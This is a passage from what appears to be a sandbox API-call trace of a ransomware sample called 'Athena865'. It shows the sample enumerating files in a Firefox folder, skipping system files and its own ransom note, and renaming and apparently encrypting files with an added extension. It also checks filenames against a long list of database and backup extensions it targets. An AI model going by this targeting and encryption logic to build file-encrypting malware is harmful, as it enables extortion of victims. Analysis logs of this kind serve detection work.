hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0045.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0045.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0045.513] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf10b340, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf10b340, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb1218800, ftLastWriteTime.dwHighDateTime=0x1ced1df, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="platform.ini", cAlternateFileName="")) returned 1 [0045.513] lstrcmpiW (lpString1="platform.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0045.513] lstrcmpiW (lpString1="platform.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0045.513] lstrcmpiW (lpString1="platform.ini", lpString2=".") returned 1 [0045.513] lstrcmpiW (lpString1="platform.ini", lpString2="..") returned 1 [0045.513] lstrcmpiW (lpString1="platform.ini", lpString2="windows") returned -1 [0045.513] lstrcmpiW (lpString1="platform.ini", lpString2="bootmgr") returned 1 [0045.513] lstrcmpiW (lpString1="platform.ini", lpString2="temp") returned -1 [0045.513] lstrcmpiW (lpString1="platform.ini", lpString2="pagefile.sys") returned 1 [0045.513] lstrcmpiW (lpString1="platform.ini", lpString2="boot") returned 1 [0045.513] lstrcmpiW (lpString1="platform.ini", lpString2="ids.txt") returned 1 [0045.513] lstrcmpiW (lpString1="platform.ini", lpString2="ntuser.dat") returned 1 [0045.513] lstrcmpiW (lpString1="platform.ini", lpString2="perflogs") returned 1 [0045.513] lstrcmpiW (lpString1="platform.ini", lpString2="MSBuild") returned 1 [0045.513] lstrlenW (lpString="platform.ini") returned 12 [0045.513] lstrcpyW (in: lpString1=0x241e896, lpString2="platform.ini" | out: lpString1="platform.ini") returned="platform.ini" [0045.513] lstrlenW (lpString="platform.ini") returned 12 [0045.513] lstrlenW (lpString="Athena865") returned 9 [0045.513] lstrcmpiW (lpString1="tform.ini", lpString2="Athena865") returned 1 [0045.513] lstrlenW (lpString=".dll") returned 4 [0045.513] lstrcmpiW (lpString1="platform.ini", lpString2=".dll") returned 1 [0045.513] lstrlenW (lpString=".lnk") returned 4 [0045.513] lstrcmpiW (lpString1="platform.ini", lpString2=".lnk") returned 1 [0045.513] lstrlenW (lpString=".ini") returned 4 [0045.513] lstrcmpiW (lpString1="platform.ini", lpString2=".ini") returned 1 [0045.513] lstrlenW (lpString=".sys") returned 4 [0045.513] lstrcmpiW (lpString1="platform.ini", lpString2=".sys") returned 1 [0045.513] lstrlenW (lpString="platform.ini") returned 12 [0045.514] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\platform.ini.Athena865") returned 61 [0045.514] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\platform.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\platform.ini"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\platform.ini.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\platform.ini.athena865"), dwFlags=0x1) returned 1 [0045.516] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\platform.ini.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\platform.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0045.516] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=140) returned 1 [0045.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0045.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0045.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0045.516] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0045.517] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0045.517] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0045.517] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0045.528] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0045.530] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0045.531] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0045.531] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0045.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0045.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0045.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0045.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0045.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0045.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0045.531] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0045.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0045.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0045.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0045.531] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0045.532] CloseHandle (hObject=0x17c) returned 1 [0045.532] CloseHandle (hObject=0x154) returned 1 [0045.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0045.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0045.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0045.533] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1314a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1314a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x357b0780, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x4870, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="plugin-container.exe", cAlternateFileName="PLUGIN~1.EXE")) returned 1 [0045.533] lstrcmpiW (lpString1="plugin-container.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0045.533] lstrcmpiW (lpString1="plugin-container.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0045.533] lstrcmpiW (lpString1="plugin-container.exe", lpString2=".") returned 1 [0045.533] lstrcmpiW (lpString1="plugin-container.exe", lpString2="..") returned 1 [0045.533] lstrcmpiW (lpString1="plugin-container.exe", lpString2="windows") returned -1 [0045.533] lstrcmpiW (lpString1="plugin-container.exe", lpString2="bootmgr") returned 1 [0045.534] lstrcmpiW (lpString1="plugin-container.exe", lpString2="temp") returned -1 [0045.534] lstrcmpiW (lpString1="plugin-container.exe", lpString2="pagefile.sys") returned 1 [0045.534] lstrcmpiW (lpString1="plugin-container.exe", lpString2="boot") returned 1 [0045.534] lstrcmpiW (lpString1="plugin-container.exe", lpString2="ids.txt") returned 1 [0045.534] lstrcmpiW (lpString1="plugin-container.exe", lpString2="ntuser.dat") returned 1 [0045.534] lstrcmpiW (lpString1="plugin-container.exe", lpString2="perflogs") returned 1 [0045.534] lstrcmpiW (lpString1="plugin-container.exe", lpString2="MSBuild") returned 1 [0045.534] lstrlenW (lpString="plugin-container.exe") returned 20 [0045.534] lstrcpyW (in: lpString1=0x241e896, lpString2="plugin-container.exe" | out: lpString1="plugin-container.exe") returned="plugin-container.exe" [0045.534] lstrlenW (lpString="plugin-container.exe") returned 20 [0045.534] lstrlenW (lpString="Athena865") returned 9 [0045.534] lstrcmpiW (lpString1="ainer.exe", lpString2="Athena865") returned -1 [0045.534] lstrlenW (lpString=".dll") returned 4 [0045.534] lstrcmpiW (lpString1="plugin-container.exe", lpString2=".dll") returned 1 [0045.534] lstrlenW (lpString=".lnk") returned 4 [0045.534] lstrcmpiW (lpString1="plugin-container.exe", lpString2=".lnk") returned 1 [0045.534] lstrlenW (lpString=".ini") returned 4 [0045.534] lstrcmpiW (lpString1="plugin-container.exe", lpString2=".ini") returned 1 [0045.534] lstrlenW (lpString=".sys") returned 4 [0045.534] lstrcmpiW (lpString1="plugin-container.exe", lpString2=".sys") returned 1 [0045.534] lstrlenW (lpString="plugin-container.exe") returned 20 [0045.534] lstrlenW (lpString="bak") returned 3 [0045.534] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0045.534] lstrlenW (lpString="ba_") returned 3 [0045.534] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0045.534] lstrlenW (lpString="dbb") returned 3 [0045.534] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0045.534] lstrlenW (lpString="vmdk") returned 4 [0045.534] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0045.534] lstrlenW (lpString="rar") returned 3 [0045.534] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0045.534] lstrlenW (lpString="zip") returned 3 [0045.534] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0045.535] lstrlenW (lpString="tgz") returned 3 [0045.535] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0045.535] lstrlenW (lpString="vbox") returned 4 [0045.535] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0045.535] lstrlenW (lpString="vdi") returned 3 [0045.535] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0045.535] lstrlenW (lpString="vhd") returned 3 [0045.535] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0045.535] lstrlenW (lpString="vhdx") returned 4 [0045.535] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0045.535] lstrlenW (lpString="avhd") returned 4 [0045.535] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0045.535] lstrlenW (lpString="db") returned 2 [0045.535] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0045.535] lstrlenW (lpString="db2") returned 3 [0045.535] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0045.535] lstrlenW (lpString="db3") returned 3 [0045.535] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0045.535] lstrlenW (lpString="dbf") returned 3 [0045.535] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0045.535] lstrlenW (lpString="mdf") returned 3 [0045.535] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0045.535] lstrlenW (lpString="mdb") returned 3 [0045.535] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0045.535] lstrlenW (lpString="sql") returned 3 [0045.535] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0045.535] lstrlenW (lpString="sqlite") returned 6 [0045.535] lstrcmpiW (lpString1="er.exe", lpString2="sqlite") returned -1 [0045.535] lstrlenW (lpString="sqlite3") returned 7 [0045.535] lstrcmpiW (lpString1="ner.exe", lpString2="sqlite3") returned -1 [0045.535] lstrlenW (lpString="sqlitedb") returned 8 [0045.535] lstrcmpiW (lpString1="iner.exe", lpString2="sqlitedb") returned -1 [0045.535] lstrlenW (lpString="xml") returned 3 [0045.535] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0045.535] lstrlenW (lpString="$er") returned 3 [0045.535] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0045.535] lstrlenW (lpString="4dd") returned 3 [0045.536] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0045.536] lstrlenW (lpString="4dl") returned 3 [0045.536] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0045.536] lstrlenW (lpString="^^^") returned 3 [0045.536] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0045.536] lstrlenW (lpString="abs") returned 3 [0045.536] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0045.536] lstrlenW (lpString="abx") returned 3 [0045.536] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0045.536] lstrlenW (lpString="accdb") returned 5 [0045.536] lstrcmpiW (lpString1="r.exe", lpString2="accdb") returned 1 [0045.536] lstrlenW (lpString="accdc") returned 5 [0045.536] lstrcmpiW (lpString1="r.exe", lpString2="accdc") returned 1 [0045.536] lstrlenW (lpString="accde") returned 5 [0045.536] lstrcmpiW (lpString1="r.exe", lpString2="accde") returned 1 [0045.536] lstrlenW (lpString="accdr") returned 5 [0045.536] lstrcmpiW (lpString1="r.exe", lpString2="accdr") returned 1 [0045.536] lstrlenW (lpString="accdt") returned 5 [0045.536] lstrcmpiW (lpString1="r.exe", lpString2="accdt") returned 1 [0045.536] lstrlenW (lpString="accdw") returned 5 [0045.536] lstrcmpiW (lpString1="r.exe", lpString2="accdw") returned 1 [0045.536] lstrlenW (lpString="accft") returned 5 [0045.536] lstrcmpiW (lpString1="r.exe", lpString2="accft") returned 1 [0045.536] lstrlenW (lpString="adb") returned 3 [0045.536] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0045.536] lstrlenW (lpString="adb") returned 3 [0045.536] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0045.536] lstrlenW (lpString="ade") returned 3 [0045.536] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0045.536] lstrlenW (lpString="adf") returned 3 [0045.536] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0045.536] lstrlenW (lpString="adn") returned 3 [0045.536] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0045.536] lstrlenW (lpString="adp") returned 3 [0045.536] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0045.536] lstrlenW (lpString="alf") returned 3 [0045.536] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0045.537] lstrlenW (lpString="ask") returned 3 [0045.537] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0045.537] lstrlenW (lpString="btr") returned 3 [0045.537] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0045.537] lstrlenW (lpString="cat") returned 3 [0045.537] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0045.537] lstrlenW (lpString="cdb") returned 3 [0045.537] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0045.537] lstrlenW (lpString="ckp") returned 3 [0045.537] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0045.537] lstrlenW (lpString="cma") returned 3 [0045.537] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0045.537] lstrlenW (lpString="cpd") returned 3 [0045.537] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0045.537] lstrlenW (lpString="dacpac") returned 6 [0045.537] lstrcmpiW (lpString1="er.exe", lpString2="dacpac") returned 1 [0045.537] lstrlenW (lpString="dad") returned 3 [0045.537] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0045.537] lstrlenW (lpString="dadiagrams") returned 10 [0045.537] lstrcmpiW (lpString1="tainer.exe", lpString2="dadiagrams") returned 1 [0045.537] lstrlenW (lpString="daschema") returned 8 [0045.537] lstrcmpiW (lpString1="iner.exe", lpString2="daschema") returned 1 [0045.537] lstrlenW (lpString="db-journal") returned 10 [0045.537] lstrcmpiW (lpString1="tainer.exe", lpString2="db-journal") returned 1 [0045.537] lstrlenW (lpString="db-shm") returned 6 [0045.537] lstrcmpiW (lpString1="er.exe", lpString2="db-shm") returned 1 [0045.537] lstrlenW (lpString="db-wal") returned 6 [0045.537] lstrcmpiW (lpString1="er.exe", lpString2="db-wal") returned 1 [0045.537] lstrlenW (lpString="dbc") returned 3 [0045.537] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0045.537] lstrlenW (lpString="dbs") returned 3 [0045.537] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0045.537] lstrlenW (lpString="dbt") returned 3 [0045.537] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0045.537] lstrlenW (lpString="dbv") returned 3 [0045.537] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0045.537] lstrlenW (lpString="dbx") returned 3 [0045.538] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0045.538] lstrlenW (lpString="dcb") returned 3 [0045.538] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0045.538] lstrlenW (lpString="dct") returned 3 [0045.538] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0045.538] lstrlenW (lpString="dcx") returned 3 [0045.538] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0045.538] lstrlenW (lpString="ddl") returned 3 [0045.538] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0045.538] lstrlenW (lpString="dlis") returned 4 [0045.538] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0045.538] lstrlenW (lpString="dp1") returned 3 [0045.538] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0045.538] lstrlenW (lpString="dqy") returned 3 [0045.538] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0045.538] lstrlenW (lpString="dsk") returned 3 [0045.538] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0045.538] lstrlenW (lpString="dsn") returned 3 [0045.538] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0045.538] lstrlenW (lpString="dtsx") returned 4 [0045.538] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0045.538] lstrlenW (lpString="dxl") returned 3 [0045.538] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0045.538] lstrlenW (lpString="eco") returned 3 [0045.538] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0045.538] lstrlenW (lpString="ecx") returned 3 [0045.538] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0045.538] lstrlenW (lpString="edb") returned 3 [0045.538] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0045.538] lstrlenW (lpString="epim") returned 4 [0045.538] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0045.538] lstrlenW (lpString="fcd") returned 3 [0045.538] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0045.538] lstrlenW (lpString="fdb") returned 3 [0045.538] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0045.538] lstrlenW (lpString="fic") returned 3 [0045.539] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0045.539] lstrlenW (lpString="flexolibrary") returned 12 [0045.539] lstrcmpiW (lpString1="ontainer.exe", lpString2="flexolibrary") returned 1 [0045.539] lstrlenW (lpString="fm5") returned 3 [0045.539] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0045.539] lstrlenW (lpString="fmp") returned 3 [0045.539] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0045.539] lstrlenW (lpString="fmp12") returned 5 [0045.539] lstrcmpiW (lpString1="r.exe", lpString2="fmp12") returned 1 [0045.539] lstrlenW (lpString="fmpsl") returned 5 [0045.539] lstrcmpiW (lpString1="r.exe", lpString2="fmpsl") returned 1 [0045.539] lstrlenW (lpString="fol") returned 3 [0045.539] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0045.539] lstrlenW (lpString="fp3") returned 3 [0045.539] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0045.539] lstrlenW (lpString="fp4") returned 3 [0045.539] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0045.539] lstrlenW (lpString="fp5") returned 3 [0045.539] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0045.539] lstrlenW (lpString="fp7") returned 3 [0045.539] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0045.539] lstrlenW (lpString="fpt") returned 3 [0045.539] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0045.539] lstrlenW (lpString="frm") returned 3 [0045.539] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0045.539] lstrlenW (lpString="gdb") returned 3 [0045.539] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0045.539] lstrlenW (lpString="gdb") returned 3 [0045.539] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0045.539] lstrlenW (lpString="grdb") returned 4 [0045.539] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0045.539] lstrlenW (lpString="gwi") returned 3 [0045.539] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0045.539] lstrlenW (lpString="hdb") returned 3 [0045.539] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0045.539] lstrlenW (lpString="his") returned 3 [0045.539] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0045.540] lstrlenW (lpString="ib") returned 2 [0045.540] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0045.540] lstrlenW (lpString="idb") returned 3 [0045.540] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0045.540] lstrlenW (lpString="ihx") returned 3 [0045.540] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0045.540] lstrlenW (lpString="itdb") returned 4 [0045.540] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0045.540] lstrlenW (lpString="itw") returned 3 [0045.540] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0045.540] lstrlenW (lpString="jet") returned 3 [0045.540] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0045.540] lstrlenW (lpString="jtx") returned 3 [0045.540] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0045.540] lstrlenW (lpString="kdb") returned 3 [0045.540] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0045.540] lstrlenW (lpString="kexi") returned 4 [0045.540] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0045.540] lstrlenW (lpString="kexic") returned 5 [0045.540] lstrcmpiW (lpString1="r.exe", lpString2="kexic") returned 1 [0045.540] lstrlenW (lpString="kexis") returned 5 [0045.540] lstrcmpiW (lpString1="r.exe", lpString2="kexis") returned 1 [0045.540] lstrlenW (lpString="lgc") returned 3 [0045.540] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0045.540] lstrlenW (lpString="lwx") returned 3 [0045.540] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0045.540] lstrlenW (lpString="maf") returned 3 [0045.540] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0045.540] lstrlenW (lpString="maq") returned 3 [0045.540] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0045.540] lstrlenW (lpString="mar") returned 3 [0045.540] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0045.540] lstrlenW (lpString="marshal") returned 7 [0045.540] lstrcmpiW (lpString1="ner.exe", lpString2="marshal") returned 1 [0045.540] lstrlenW (lpString="mas") returned 3 [0045.540] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0045.540] lstrlenW (lpString="mav") returned 3 [0045.541] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0045.541] lstrlenW (lpString="maw") returned 3 [0045.541] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0045.541] lstrlenW (lpString="mdbhtml") returned 7 [0045.541] lstrcmpiW (lpString1="ner.exe", lpString2="mdbhtml") returned 1 [0045.541] lstrlenW (lpString="mdn") returned 3 [0045.541] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0045.541] lstrlenW (lpString="mdt") returned 3 [0045.541] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0045.541] lstrlenW (lpString="mfd") returned 3 [0045.541] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0045.541] lstrlenW (lpString="mpd") returned 3 [0045.541] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0045.541] lstrlenW (lpString="mrg") returned 3 [0045.541] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0045.541] lstrlenW (lpString="mud") returned 3 [0045.541] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0045.541] lstrlenW (lpString="mwb") returned 3 [0045.541] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0045.541] lstrlenW (lpString="myd") returned 3 [0045.541] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0045.541] lstrlenW (lpString="ndf") returned 3 [0045.541] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0045.541] lstrlenW (lpString="nnt") returned 3 [0045.541] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0045.541] lstrlenW (lpString="nrmlib") returned 6 [0045.541] lstrcmpiW (lpString1="er.exe", lpString2="nrmlib") returned -1 [0045.541] lstrlenW (lpString="ns2") returned 3 [0045.541] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0045.541] lstrlenW (lpString="ns3") returned 3 [0045.541] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0045.541] lstrlenW (lpString="ns4") returned 3 [0045.541] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0045.541] lstrlenW (lpString="nsf") returned 3 [0045.541] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0045.541] lstrlenW (lpString="nv") returned 2 [0045.541] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0045.542] lstrlenW (lpString="nv2") returned 3 [0045.542] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0045.542] lstrlenW (lpString="nwdb") returned 4 [0045.542] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0045.542] lstrlenW (lpString="nyf") returned 3 [0045.542] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0045.542] lstrlenW (lpString="odb") returned 3 [0045.542] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0045.542] lstrlenW (lpString="odb") returned 3 [0045.542] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0045.542] lstrlenW (lpString="oqy") returned 3 [0045.542] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0045.542] lstrlenW (lpString="ora") returned 3 [0045.542] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0045.542] lstrlenW (lpString="orx") returned 3 [0045.542] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0045.542] lstrlenW (lpString="owc") returned 3 [0045.542] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0045.542] lstrlenW (lpString="p96") returned 3 [0045.542] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0045.542] lstrlenW (lpString="p97") returned 3 [0045.542] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0045.542] lstrlenW (lpString="pan") returned 3 [0045.542] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0045.542] lstrlenW (lpString="pdb") returned 3 [0045.542] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0045.542] lstrlenW (lpString="pdm") returned 3 [0045.542] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0045.542] lstrlenW (lpString="pnz") returned 3 [0045.542] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0045.542] lstrlenW (lpString="qry") returned 3 [0045.542] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0045.542] lstrlenW (lpString="qvd") returned 3 [0045.542] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0045.542] lstrlenW (lpString="rbf") returned 3 [0045.542] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0045.542] lstrlenW (lpString="rctd") returned 4 [0045.543] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0045.543] lstrlenW (lpString="rod") returned 3 [0045.543] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0045.543] lstrlenW (lpString="rodx") returned 4 